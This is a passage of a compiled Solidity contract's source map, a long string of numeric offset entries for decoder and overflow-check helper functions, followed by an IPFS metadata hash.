850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:426::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5585:68;5649:2;5638:9;5634:18;5625:6;5585:68;:::i;:::-;5663;5727:2;5716:9;5712:18;5703:6;5663:68;:::i;:::-;5312:426;;;;;;:::o;5744:118::-;5815:22;5831:5;5815:22;:::i;:::-;5808:5;5805:33;5795:61;;5852:1;5849;5842:12;5795:61;5744:118;:::o;5868:135::-;5912:5;5950:6;5937:20;5928:29;;5966:31;5991:5;5966:31;:::i;:::-;5868:135;;;;:::o;6009:466::-;6073:6;6081;6130:2;6118:9;6109:7;6105:23;6101:32;6098:119;;;6136:79;;:::i;:::-;6098:119;6256:1;6281:51;6324:7;6315:6;6304:9;6300:22;6281:51;:::i;:::-;6271:61;;6227:115;6381:2;6407:51;6450:7;6441:6;6430:9;6426:22;6407:51;:::i;:::-;6397:61;;6352:116;6009:466;;;;;:::o;6481:117::-;6590:1;6587;6580:12;6604:117;6713:1;6710;6703:12;6727:117;6836:1;6833;6826:12;6867:568;6940:8;6950:6;7000:3;6993:4;6985:6;6981:17;6977:27;6967:122;;7008:79;;:::i;:::-;6967:122;7121:6;7108:20;7098:30;;7151:18;7143:6;7140:30;7137:117;;;7173:79;;:::i;:::-;7137:117;7287:4;7279:6;7275:17;7263:29;;7341:3;7333:4;7325:6;7321:17;7311:8;7307:32;7304:41;7301:128;;;7348:79;;:::i;:::-;7301:128;6867:568;;;;;:::o;7458:::-;7531:8;7541:6;7591:3;7584:4;7576:6;7572:17;7568:27;7558:122;;7599:79;;:::i;:::-;7558:122;7712:6;7699:20;7689:30;;7742:18;7734:6;7731:30;7728:117;;;7764:79;;:::i;:::-;7728:117;7878:4;7870:6;7866:17;7854:29;;7932:3;7924:4;7916:6;7912:17;7902:8;7898:32;7895:41;7892:128;;;7939:79;;:::i;:::-;7892:128;7458:568;;;;;:::o;8032:1079::-;8163:6;8171;8179;8187;8195;8244:2;8232:9;8223:7;8219:23;8215:32;8212:119;;;8250:79;;:::i;:::-;8212:119;8370:1;8395:53;8440:7;8431:6;8420:9;8416:22;8395:53;:::i;:::-;8385:63;;8341:117;8525:2;8514:9;8510:18;8497:32;8556:18;8548:6;8545:30;8542:117;;;8578:79;;:::i;:::-;8542:117;8691:80;8763:7;8754:6;8743:9;8739:22;8691:80;:::i;:::-;8673:98;;;;8468:313;8848:2;8837:9;8833:18;8820:32;8879:18;8871:6;8868:30;8865:117;;;8901:79;;:::i;:::-;8865:117;9014:80;9086:7;9077:6;9066:9;9062:22;9014:80;:::i;:::-;8996:98;;;;8791:313;8032:1079;;;;;;;;:::o;9117:222::-;9210:4;9248:2;9237:9;9233:18;9225:26;;9261:71;9329:1;9318:9;9314:17;9305:6;9261:71;:::i;:::-;9117:222;;;;:::o;9345:474::-;9413:6;9421;9470:2;9458:9;9449:7;9445:23;9441:32;9438:119;;;9476:79;;:::i;:::-;9438:119;9596:1;9621:53;9666:7;9657:6;9646:9;9642:22;9621:53;:::i;:::-;9611:63;;9567:117;9723:2;9749:53;9794:7;9785:6;9774:9;9770:22;9749:53;:::i;:::-;9739:63;;9694:118;9345:474;;;;;:::o;9825:180::-;9873:77;9870:1;9863:88;9970:4;9967:1;9960:15;9994:4;9991:1;9984:15;10011:320;10055:6;10092:1;10086:4;10082:12;10072:22;;10139:1;10133:4;10129:12;10160:18;10150:81;;10216:4;10208:6;10204:17;10194:27;;10150:81;10278:2;10270:6;10267:14;10247:18;10244:38;10241:84;;10297:18;;:::i;:::-;10241:84;10062:269;10011:320;;;:::o;10337:180::-;10385:77;10382:1;10375:88;10482:4;10479:1;10472:15;10506:4;10503:1;10496:15;10523:194;10563:4;10583:20;10601:1;10583:20;:::i;:::-;10578:25;;10617:20;10635:1;10617:20;:::i;:::-;10612:25;;10661:1;10658;10654:9;10646:17;;10685:1;10679:4;10676:11;10673:37;;;10690:18;;:::i;:::-;10673:37;10523:194;;;;:::o;10723:180::-;10771:77;10768:1;10761:88;10868:4;10865:1;10858:15;10892:4;10889:1;10882:15;10909:143;10966:5;10997:6;10991:13;10982:22;;11013:33;11040:5;11013:33;:::i;:::-;10909:143;;;;:::o;11058:351::-;11128:6;11177:2;11165:9;11156:7;11152:23;11148:32;11145:119;;;11183:79;;:::i;:::-;11145:119;11303:1;11328:64;11384:7;11375:6;11364:9;11360:22;11328:64;:::i;:::-;11318:74;;11274:128;11058:351;;;;:::o;11415:332::-;11536:4;11574:2;11563:9;11559:18;11551:26;;11587:71;11655:1;11644:9;11640:17;11631:6;11587:71;:::i;:::-;11668:72;11736:2;11725:9;11721:18;11712:6;11668:72;:::i;:::-;11415:332;;;;;:::o;11753:180::-;11801:77;11798:1;11791:88;11898:4;11895:1;11888:15;11922:4;11919:1;11912:15;11939:85;11984:7;12013:5;12002:16;;11939:85;;;:::o;12030:60::-;12058:3;12079:5;12072:12;;12030:60;;;:::o;12096:158::-;12154:9;12187:61;12205:42;12214:32;12240:5;12214:32;:::i;:::-;12205:42;:::i;:::-;12187:61;:::i;:::-;12174:74;;12096:158;;;:::o;12260:147::-;12355:45;12394:5;12355:45;:::i;:::-;12350:3;12343:58;12260:147;;:::o;12413:114::-;12480:6;12514:5;12508:12;12498:22;;12413:114;;;:::o;12533:184::-;12632:11;12666:6;12661:3;12654:19;12706:4;12701:3;12697:14;12682:29;;12533:184;;;;:::o;12723:132::-;12790:4;12813:3;12805:11;;12843:4;12838:3;12834:14;12826:22;;12723:132;;;:::o;12861:108::-;12938:24;12956:5;12938:24;:::i;:::-;12933:3;12926:37;12861:108;;:::o;12975:179::-;13044:10;13065:46;13107:3;13099:6;13065:46;:::i;:::-;13143:4;13138:3;13134:14;13120:28;;12975:179;;;;:::o;13160:113::-;13230:4;13262;13257:3;13253:14;13245:22;;13160:113;;;:::o;13309:732::-;13428:3;13457:54;13505:5;13457:54;:::i;:::-;13527:86;13606:6;13601:3;13527:86;:::i;:::-;13520:93;;13637:56;13687:5;13637:56;:::i;:::-;13716:7;13747:1;13732:284;13757:6;13754:1;13751:13;13732:284;;;13833:6;13827:13;13860:63;13919:3;13904:13;13860:63;:::i;:::-;13853:70;;13946:60;13999:6;13946:60;:::i;:::-;13936:70;;13792:224;13779:1;13776;13772:9;13767:14;;13732:284;;;13736:14;14032:3;14025:10;;13433:608;;;13309:732;;;;:::o;14047:831::-;14310:4;14348:3;14337:9;14333:19;14325:27;;14362:71;14430:1;14419:9;14415:17;14406:6;14362:71;:::i;:::-;14443:80;14519:2;14508:9;14504:18;14495:6;14443:80;:::i;:::-;14570:9;14564:4;14560:20;14555:2;14544:9;14540:18;14533:48;14598:108;14701:4;14692:6;14598:108;:::i;:::-;14590:116;;14716:72;14784:2;14773:9;14769:18;14760:6;14716:72;:::i;:::-;14798:73;14866:3;14855:9;14851:19;14842:6;14798:73;:::i;:::-;14047:831;;;;;;;;:::o;14884:410::-;14924:7;14947:20;14965:1;14947:20;:::i;:::-;14942:25;;14981:20;14999:1;14981:20;:::i;:::-;14976:25;;15036:1;15033;15029:9;15058:30;15076:11;15058:30;:::i;:::-;15047:41;;15237:1;15228:7;15224:15;15221:1;15218:22;15198:1;15191:9;15171:83;15148:139;;15267:18;;:::i;:::-;15148:139;14932:362;14884:410;;;;:::o;15300:180::-;15348:77;15345:1;15338:88;15445:4;15442:1;15435:15;15469:4;15466:1;15459:15;15486:185;15526:1;15543:20;15561:1;15543:20;:::i;:::-;15538:25;;15577:20;15595:1;15577:20;:::i;:::-;15572:25;;15616:1;15606:35;;15621:18;;:::i;:::-;15606:35;15663:1;15660;15656:9;15651:14;;15486:185;;;;:::o;15677:191::-;15717:3;15736:20;15754:1;15736:20;:::i;:::-;15731:25;;15770:20;15788:1;15770:20;:::i;:::-;15765:25;;15813:1;15810;15806:9;15799:16;;15834:3;15831:1;15828:10;15825:36;;;15841:18;;:::i;:::-;15825:36;15677:191;;;;:::o

ipfs://9cd084fb80a4c3545dd1cb3eb506f73f8b03c2f86405d94e88a6b33f4c82ac44